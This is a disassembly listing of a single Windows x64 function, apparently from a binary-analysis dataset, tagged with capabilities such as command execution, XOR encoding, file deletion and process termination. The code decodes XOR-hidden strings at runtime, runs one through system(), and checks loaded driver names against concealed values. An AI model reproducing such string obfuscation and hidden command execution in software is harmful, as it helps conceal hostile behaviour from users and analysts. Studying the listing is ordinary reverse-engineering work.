Function at 0x140008070
Capabilities:
Create thread
Delete file
Encode data using xor
Execute command
Set console window title
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x5cf0]
mov eax, 0x5df0
call fcn.1400c4070
sub rsp, rax
movaps xmmword [rsp + 0x5de0], xmm6
movaps xmmword [rsp + 0x5dd0], xmm7
mov rax, qword [0x1400fdec0]
xor rax, rsp
mov qword [rbp + 0x5cc0], rax
xor r10d, r10d
movups xmm3, xmmword [str.SWQG]
movups xmmword [rsp + 0x40], xmm3
mov ecx, dword [0x1400e8cd0]
mov dword [rsp + 0x50], ecx
movzx eax, byte [0x1400e8cd4]
mov byte [rsp + 0x54], al
mov r8d, r10d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140008307
movdqa xmm5, xmmword [0x1400eb210]
movdqa xmm6, xmmword [str.9999]
movdqa xmm7, xmmword [str.0000000000000000]
movdqa xmm2, xmmword [0x1400eb130]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm5
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movdqa xmm4, xmmword [0x1400eb1e0]
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm7
movd eax, xmm3
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x40], xmm2
movdqa xmm2, xmmword [0x1400eb140]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm5
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm7
movd xmm0, dword [rsp + 0x44]
xorps xmm2, xmm0
movd dword [rsp + 0x44], xmm2
movdqa xmm3, xmmword [0x1400eb150]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm5
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
andps xmm3, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm7
movd xmm0, dword [rsp + 0x48]
xorps xmm3, xmm0
movd dword [rsp + 0x48], xmm3
movdqa xmm2, xmmword [0x1400eb160]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm5
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm7
movd xmm0, dword [rsp + 0x4c]
xorps xmm2, xmm0
movd dword [rsp + 0x4c], xmm2
movdqa xmm3, xmmword [0x1400eb170]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm5
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
andps xmm3, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm7
movd xmm0, ecx
xorps xmm3, xmm0
movd dword [rsp + 0x50], xmm3
mov r8d, reloc.WS2_32.dll_sendto
mov eax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140008320
lea rax, [rsp + 0x40]
mov rbx, 0xffffffffffffffff
nop
inc rbx
cmp byte [rax + rbx], r10b
jne 0x140008360
mov r12, qword [0x140142a28]
movabs r14, 0x7fffffffffffffff
mov rax, r14
sub rax, r12
cmp rax, rbx
jb 0x14000b776
lea r13, [0x140142a18]
cmp qword [0x140142a30], 0xf
cmova r13, qword [0x140142a18]
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], r10
mov qword [rbp + 0x18], r10
lea r15, [r12 + rbx]
mov edi, reloc.WS2_32.dll_ntohs
lea rsi, [rbp]
movabs rax, 0x8000000000000000
mov ecx, socket
cmp r15, rdi
jbe 0x14000843e
mov rdi, r15
or rdi, 0xf
cmp rdi, r14
jbe 0x1400083fe
mov rdi, r14
add rax, 0x27
mov rcx, rax
call fcn.1400c3880
test rax, rax
je 0x14000842b
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14000843a
cmp rdi, rcx
cmovb rdi, rcx
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x140008413
mov rsi, r10
jmp 0x14000843a
cmp rcx, 0x1000
jb 0x140008432
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000b76a
jmp 0x1400083e3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c3880
mov rsi, rax
mov qword [rbp], rsi
mov qword [rbp + 0x10], r15
mov qword [rbp + 0x18], rdi
mov r8, rbx
lea rdx, [rsp + 0x40]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsi + rbx]
mov r8, r12
mov rdx, r13
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + r15], 0
mov r8d, 1
lea rdx, [0x1400e8db0]
lea rcx, [rbp]
call fcn.14000ec90
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
xor r12d, r12d
mov qword [rbp + 0xa0], r12
mov qword [rbp + 0xa8], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x90], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xa0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], r12b
lea rdx, [0x140142a38]
cmp qword [0x140142a50], 0xf
cmova rdx, qword [0x140142a38]
mov r8, qword [0x140142a48]
lea rcx, [rbp + 0x90]
call fcn.14000ec90
xorps xmm0, xmm0
movups xmmword [rbp + 0xa68], xmm0
mov qword [rbp + 0xa78], r12
mov qword [rbp + 0xa80], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xa68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xa78], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], r12b
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0xf
jbe 0x140008569
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008564
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008564
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c38bc
mov qword [rbp + 0xa0], r12
mov qword [rbp + 0xa8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x90], 0
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x1400085c0
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400085bb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400085bb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c38bc
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbp], 0
lea rcx, [rbp + 0xa68]
cmp qword [rbp + 0xa80], 0xf
cmova rcx, qword [rbp + 0xa68]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
movabs rax, 0x4c467cde2bdc459e
mov qword [rbp + 0x4d0], rax
movabs rax, 0xebfb0728b9de7a3c
mov qword [rbp + 0x4d8], rax
movabs rax, 0x8130960d83da72bd
mov qword [rbp + 0x4e0], rax
movabs rax, 0x3a749bd0cb4b503
mov qword [rbp + 0x4e8], rax
movups xmm0, xmmword [rbp + 0x4d0]
movups xmm1, xmmword [rbp + 0x4e0]
movabs rdi, 0x22291ffe4eb82af3
mov qword [rbp + 0x10e0], rdi
movabs r13, 0xdece3a5bd5b1191c
mov qword [rbp + 0x10e8], r13
movabs rax, 0xb00de568edb31e9d
mov qword [rbp + 0x10f0], rax
movabs rax, 0x3a749bd0cb4b536
mov qword [rbp + 0x10f8], rax
xorps xmm0, xmmword [rbp + 0x10e0]
movdqa xmmword [rbp + 0x890], xmm0
movdqa xmm0, xmmword [rbp + 0x10f0]
xorps xmm0, xmm1
movdqa xmmword [rbp + 0x8a0], xmm0
lea rcx, [rbp + 0x890]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0x4c407b9f21f40af9
mov qword [rbp + 0x4a0], rax
movabs rax, 0xdece3a5bd59f377b
mov qword [rbp + 0x4a8], rax
movaps xmm0, xmmword [rbp + 0x4a0]
mov qword [rbp + 0x14a0], rdi
mov qword [rbp + 0x14a8], r13
xorps xmm0, xmmword [rbp + 0x14a0]
movdqa xmmword [rbp + 0x770], xmm0
lea rdx, [rbp + 0x770]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000faa0
lea rcx, [0x140142ac0]
call fcn.140031c10
cmp byte [0x140142cd0], 0
jne 0x140008793
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp + 0x8d0]
call fcn.14000b790
movzx edx, byte [rax + 0xa]
test dl, dl
je 0x140008768
xor byte [rax], 0x30
xor byte [rax + 1], 0x31
xor byte [rax + 2], 0x32
xor byte [rax + 3], 0x33
xor byte [rax + 4], 0x34
xor byte [rax + 5], 0x35
xor byte [rax + 6], 0x36
xor byte [rax + 7], 0x37
xor byte [rax + 8], 0x38
xor byte [rax + 9], 0x39
xor dl, 0x3a
mov byte [rax + 0xa], dl
mov rdx, rax
call fcn.14000faa0
mov rcx, rax
lea rdx, [0x140142cd8]
call fcn.14000fcb0
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea r8, [rbp + 0x9f8]
mov edx, 0x4000
lea rcx, [rbp + 0x14c0]
call qword [sym.imp.KERNEL32.dll_K32EnumDeviceDrivers]
test eax, eax
je 0x140008ec3
mov eax, dword [rbp + 0x9f8]
cmp eax, 0x4000
jae 0x140008ec3
shr eax, 3
test eax, eax
je 0x140008ec3
mov rbx, r12
mov edi, eax
movabs rsi, 0x3e7d3e7c6c9fa8da
movabs r15, 0xba63360da8e28705
nop dword [rax]
mov r8d, 0x800
lea rdx, [rbp + 0x54c0]
mov rcx, qword [rbp + rbx*8 + 0x14c0]
call qword [sym.imp.KERNEL32.dll_K32GetDeviceDriverBaseNameA]
test eax, eax
je 0x140008b05
xorps xmm0, xmm0
movups xmmword [rbp + 0x9d8], xmm0
mov qword [rbp + 0x9e8], r12
mov qword [rbp + 0x9f0], r12
lea rax, [rbp + 0x54c0]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140008840
lea rdx, [rbp + 0x54c0]
lea rcx, [rbp + 0x9d8]
call fcn.1400108b0
nop
movabs rax, 0xc910536ec790f76e
mov qword [rbp + 0xe0], rax
movabs rax, 0x3e7d4c1907fcc9b2
mov qword [rbp + 0xe8], rax
mov qword [rbp + 0x1490], r15
mov qword [rbp + 0x1498], rsi
movdqa xmm0, xmmword [rbp + 0xe0]
xorps xmm0, xmmword [rbp + 0x1490]
movdqa xmmword [rbp + 0xe0], xmm0
xor r8d, r8d
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x9d8]
call fcn.14001f280
cmp rax, 0xffffffffffffffff
jne 0x140009b16
mov byte [rsp + 0x31], 0
lea rdx, [rbp + 0x7f0]
lea rcx, [rsp + 0x31]
call fcn.14001f200
movabs rax, 0xcf015349d896f34d
mov qword [rbp + 0x190], rax
movabs rax, 0x3e7d3e7c6c9fa8bd
mov qword [rbp + 0x198], rax
mov qword [rbp + 0x1480], r15
mov qword [rbp + 0x1488], rsi
movdqa xmm0, xmmword [rbp + 0x190]
xorps xmm0, xmmword [rbp + 0x1480]
movdqa xmmword [rbp + 0x190], xmm0
xor r8d, r8d
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x9d8]
call fcn.14001f280
cmp rax, 0xffffffffffffffff
jne 0x140009785
mov byte [rsp + 0x32], 0
lea rdx, [rbp + 0x750]
lea rcx, [rsp + 0x32]
call fcn.14001f220
movabs rax, 0xba63360da884f76b
mov qword [rbp + 0x180], rax
mov qword [rbp + 0x188], rsi
mov qword [rbp + 0x1470], r15
mov qword [rbp + 0x1478], rsi
movdqa xmm0, xmmword [rbp + 0x180]
xorps xmm0, xmmword [rbp + 0x1470]
movdqa xmmword [rbp + 0x180], xmm0
xor r8d, r8d
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x9d8]
call fcn.14001f280
cmp rax, 0xffffffffffffffff
jne 0x140009443
mov byte [rsp + 0x33], 0
lea rdx, [rbp + 0x7f8]
lea rcx, [rsp + 0x33]
call fcn.14001f240
movabs rax, 0xde0a7e63c996ee51
mov qword [rbp + 0x160], rax
movabs rax, 0x3e7d3e7c6c9fa8bf
mov qword [rbp + 0x168], rax
mov qword [rbp + 0x1340], r15
mov qword [rbp + 0x1348], rsi
movdqa xmm0, xmmword [rbp + 0x160]
xorps xmm0, xmmword [rbp + 0x1340]
movdqa xmmword [rbp + 0x160], xmm0
xor r8d, r8d
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0x9d8]
call fcn.14001f280
cmp rax, 0xffffffffffffffff
jne 0x1400090f5
mov byte [rsp + 0x34], 0
lea rdx, [rbp + 0x800]
lea rcx, [rsp + 0x34]
call fcn.14001f260
movabs rax, 0xe527797dda83ef56
mov qword [rbp + 0x1c0], rax
movabs rax, 0x3e7d3e7c6ce9da9e
mov qword [rbp + 0x1c8], rax
mov qword [rbp + 0x14b0], r15
mov qword [rbp + 0x14b8], rsi
movdqa xmm0, xmmword [rbp + 0x1c0]
xorps xmm0, xmmword [rbp + 0x14b0]
movdqa xmmword [rbp + 0x1c0], xmm0
xor r8d, r8d
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x9d8]
call fcn.14001f280
cmp rax, 0xffffffffffffffff
jne 0x140008b16
mov rdx, qword [rbp + 0x9f0]
cmp rdx, 0xf
jbe 0x140008aec
inc rdx
mov rcx, qword [rbp + 0x9d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008ae7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009eba
call fcn.1400c38bc
mov qword [rbp + 0x9e8], r12
mov qword [rbp + 0x9f0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x9d8], 0
inc rbx
cmp rbx, rdi
jl 0x1400087f0
jmp 0x140008eb9
mov byte [rsp + 0x35], 0
lea rdx, [rbp + 0x808]
lea rcx, [rsp + 0x35]
call fcn.14001f270
movabs rax, 0xe943537bc78fe257
mov qword [rbp + 0x1e0], rax
movabs rax, 0x1e517a331cedc9b2
mov qword [rbp + 0x1e8], rax
movabs rax, 0xa5fa0ad67f8af45
mov qword [rbp + 0x1f0], rax
movabs rax, 0xd7b8bab61a0b1265
mov qword [rbp + 0x1f8], rax
movabs rax, 0xdc0c7fede4f8e8e9
mov qword [rbp + 0x200], rax
movabs rax, 0xeff0db487dda3a1e
mov qword [rbp + 0x208], rax
movabs rax, 0x82b8125b2c2e56ff
mov qword [rbp + 0x210], rax
movabs rax, 0xa95b2664d9011a9a
mov qword [rbp + 0x218], rax
mov qword [rbp + 0x1220], r15
mov qword [rbp + 0x1228], rsi
movabs rax, 0x667fc5df089eca27
mov qword [rbp + 0x1230], rax
movabs rax, 0xb0d6d3de79656704
mov qword [rbp + 0x1238], rax
movabs rax, 0xf27e1a89859784c9
mov qword [rbp + 0x1240], rax
movabs rax, 0x9c95a96819b47b3e
mov qword [rbp + 0x1248], rax
movabs rax, 0xf7d76b7b585c378b
mov qword [rbp + 0x1250], rax
movabs rax, 0xa95b264a9a513ae8
mov qword [rbp + 0x1258], rax
movdqa xmm0, xmmword [rbp + 0x1e0]
xorps xmm0, xmmword [rbp + 0x1220]
movdqa xmmword [rbp + 0x1e0], xmm0
movdqa xmm1, xmmword [rbp + 0x1230]
xorps xmm1, xmmword [rbp + 0x1f0]
movdqa xmmword [rbp + 0x1f0], xmm1
movdqa xmm0, xmmword [rbp + 0x1240]
xorps xmm0, xmmword [rbp + 0x200]
movdqa xmmword [rbp + 0x200], xmm0
movdqa xmm1, xmmword [rbp + 0x1250]
xorps xmm1, xmmword [rbp + 0x210]
movdqa xmmword [rbp + 0x210], xmm1
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r12
mov qword [rbp - 8], r12
lea rax, [rbp + 0x1e0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140008ca1
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp - 0x20]
call fcn.1400108b0
lea rax, [rbp - 0x20]
mov qword [rbp + 0x9d0], rax
lea rcx, [rbp + 0xc30]
call fcn.1400053a0
mov byte [rsp + 0x36], 0
lea rdx, [rbp + 0x810]
lea rcx, [rsp + 0x36]
call fcn.14001ee60
movabs rax, 0xce1b4223db85e869
mov qword [rbp + 0x140], rax
mov qword [rbp + 0x148], rsi
mov qword [rbp + 0x11e0], r15
mov qword [rbp + 0x11e8], rsi
movdqa xmm0, xmmword [rbp + 0x11e0]
xorps xmm0, xmmword [rbp + 0x140]
movdqa xmmword [rbp + 0x140], xmm0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0xa
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0xc30]
call fcn.14000df30
nop
lea rcx, [rbp + 0xc30]
call fcn.14000b940
test al, al
je 0x140008df9
mov byte [rsp + 0x37], 0
lea rdx, [rbp + 0x28]
lea rcx, [rsp + 0x37]
call fcn.14001ee70
movabs rax, 0x9a11597fda87a75e
mov qword [rbp + 0x130], rax
movabs rax, 0x3e7d3e7c4cb28887
mov qword [rbp + 0x138], rax
mov qword [rbp + 0x1360], r15
mov qword [rbp + 0x1368], rsi
movdqa xmm0, xmmword [rbp + 0x1360]
xorps xmm0, xmmword [rbp + 0x130]
movdqa xmmword [rbp + 0x130], xmm0
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0xc30]
call fcn.14000faa0
lea rdx, [rbp - 0x20]
cmp qword [rbp - 8], 0xf
cmova rdx, qword [rbp - 0x20]
mov r8, qword [rbp - 0x10]
mov rcx, rax
call fcn.140015280
lea rdx, [0x14000fc70]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0xc30]
call fcn.140005330
nop
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x140008e44
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008e3f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008e3f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c38bc
mov qword [rbp - 0x10], r12
mov qword [rbp - 8], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x20], 0
mov rdx, qword [rbp + 0x9f0]
cmp rdx, 0xf
jbe 0x140008e95
inc rdx
mov rcx, qword [rbp + 0x9d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008e90
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009eba
call fcn.1400c38bc
mov qword [rbp + 0x9e8], r12
mov qword [rbp + 0x9f0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x9d8], 0
mov ecx, listen
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_raise]
movabs rdi, 0x22291ffe4eb82af3
mov ecx, 8
call fcn.1400c3880
lea rcx, [0x14001ee80]
mov qword [rax], rcx
mov qword [rbp + 0xaa0], rax
lea rcx, [rbp + 0xa28]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r12d
mov r9, rax
lea r8, [0x140018da0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0xa20], rax
test rax, rax
je 0x14000b751
mov qword [rbp + 0xaa0], r12
cmp dword [rbp + 0xa28], 0
je 0x14000b745
movaps xmm0, xmmword [rbp + 0xa20]
movdqa xmmword [rbp + 0x780], xmm0
lea rcx, [rbp + 0x780]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14000b745
xorps xmm0, xmm0
movaps xmmword [rbp + 0x950], xmm0
movdqa xmmword [rbp + 0xa20], xmm0
mov ecx, 8
call fcn.1400c3880
lea rcx, [0x140005680]
mov qword [rax], rcx
mov qword [rbp + 0xa98], rax
lea rcx, [rbp + 0xa38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r12d
mov r9, rax
lea r8, [0x140018da0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0xa30], rax
test rax, rax
je 0x14000b732
mov qword [rbp + 0xa98], r12
cmp dword [rbp + 0xa38], 0
je 0x14000b726
movaps xmm0, xmmword [rbp + 0xa30]
movdqa xmmword [rbp + 0x790], xmm0
lea rcx, [rbp + 0x790]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14000b726
xorps xmm0, xmm0
movaps xmmword [rbp + 0x960], xmm0
movdqa xmmword [rbp + 0xa30], xmm0
movabs rsi, 0x4d5a75d021cc5f92
mov qword [rbp + 0x490], rsi
movabs r15, 0xdece3a5bd5b11972
mov qword [rbp + 0x498], r15
movaps xmm0, xmmword [rbp + 0x490]
mov qword [rbp + 0x1080], rdi
mov qword [rbp + 0x1088], r13
xorps xmm0, xmmword [rbp + 0x1080]
movdqa xmmword [rbp + 0x470], xmm0
lea rax, [rbp + 0x470]
mov qword [rbp + 0x460], rax
lea rcx, [rbp + 0x470]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140009060
mov qword [rbp + 0x468], rax
movaps xmm0, xmmword [rbp + 0x460]
movdqa xmmword [rbp + 0x7a0], xmm0
xor r8d, r8d
lea rdx, [rbp + 0x7a0]
lea rcx, [rbp + 0x390]
call fcn.140018cb0
nop
lea rcx, [rbp + 0x390]
call fcn.140003b00
movzx ebx, al
mov rdx, qword [rbp + 0x3a8]
cmp rdx, 7
jbe 0x140009ec6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x390]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009ec1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009ec1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov byte [rsp + 0x38], 0
lea rdx, [rbp + 0x818]
lea rcx, [rsp + 0x38]
call fcn.14001f250
movabs rax, 0xee435379cd8ee241
mov qword [rbp + 0x220], rax
movabs rax, 0x5b19573402fedcb3
mov qword [rbp + 0x228], rax
movabs rax, 0x30daab96dfcea0b
mov qword [rbp + 0x230], rax
movabs rax, 0xd9beb0b00c040b24
mov qword [rbp + 0x238], rax
movabs rax, 0x971a7be6e9b7e3a7
mov qword [rbp + 0x240], rax
movabs rax, 0xeeb5cd065894554c
mov qword [rbp + 0x248], rax
movabs rax, 0x8ef71f09392844ee
mov qword [rbp + 0x250], rax
movabs rax, 0xa975651aba234f87
mov qword [rbp + 0x258], rax
mov qword [rbp + 0x1260], r15
mov qword [rbp + 0x1268], rsi
movabs rax, 0x667fc5df089eca27
mov qword [rbp + 0x1270], rax
movabs rax, 0xb0d6d3de79656704
mov qword [rbp + 0x1278], rax
movabs rax, 0xf27e1a89859784c9
mov qword [rbp + 0x1280], rax
movabs rax, 0x9c95a96819b47b3e
mov qword [rbp + 0x1288], rax
movabs rax, 0xf7d76b7b585c378b
mov qword [rbp + 0x1290], rax
movabs rax, 0xa95b264a9a513ae8
mov qword [rbp + 0x1298], rax
movdqa xmm0, xmmword [rbp + 0x220]
xorps xmm0, xmmword [rbp + 0x1260]
movdqa xmmword [rbp + 0x220], xmm0
movdqa xmm1, xmmword [rbp + 0x1270]
xorps xmm1, xmmword [rbp + 0x230]
movdqa xmmword [rbp + 0x230], xmm1
movdqa xmm0, xmmword [rbp + 0x1280]
xorps xmm0, xmmword [rbp + 0x240]
movdqa xmmword [rbp + 0x240], xmm0
movdqa xmm1, xmmword [rbp + 0x1290]
xorps xmm1, xmmword [rbp + 0x250]
movdqa xmmword [rbp + 0x250], xmm1
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], r12
lea rax, [rbp + 0x220]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140009283
lea rdx, [rbp + 0x220]
lea rcx, [rsp + 0x60]
call fcn.1400108b0
lea rax, [rsp + 0x60]
mov qword [rbp + 0x28], rax
lea rcx, [rbp + 0xd40]
call fcn.1400053a0
mov byte [rsp + 0x39], 0
lea rdx, [rbp + 0x820]
lea rcx, [rsp + 0x39]
call fcn.14001ee60
movabs rax, 0xce1b4223db85e869
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], rsi
mov qword [rbp + 0x1180], r15
mov qword [rbp + 0x1188], rsi
movdqa xmm0, xmmword [rbp + 0x120]
xorps xmm0, xmmword [rbp + 0x1180]
movdqa xmmword [rbp + 0x120], xmm0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0xa
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0xd40]
call fcn.14000df30
nop
lea rcx, [rbp + 0xd40]
call fcn.14000b940
test al, al
je 0x1400093de
mov byte [rsp + 0x3a], 0
lea rdx, [rbp + 0x30]
lea rcx, [rsp + 0x3a]
call fcn.14001ee70
movabs rax, 0x9a11597fda87a75e
mov qword [rbp + 0x100], rax
movabs rax, 0x3e7d3e7c4cb28887
mov qword [rbp + 0x108], rax
mov qword [rbp + 0x1170], r15
mov qword [rbp + 0x1178], rsi
movdqa xmm0, xmmword [rbp + 0x100]
xorps xmm0, xmmword [rbp + 0x1170]
movdqa xmmword [rbp + 0x100], xmm0
lea rdx, [rbp + 0x100]
lea rcx, [rbp + 0xd40]
call fcn.14000faa0
lea rdx, [rsp + 0x60]
cmp qword [rsp + 0x78], 0xf
cmova rdx, qword [rsp + 0x60]
mov r8, qword [rsp + 0x70]
mov rcx, rax
call fcn.140015280
lea rdx, [0x14000fc70]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0xd40]
call fcn.140005330
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14000942b
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009426
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009426
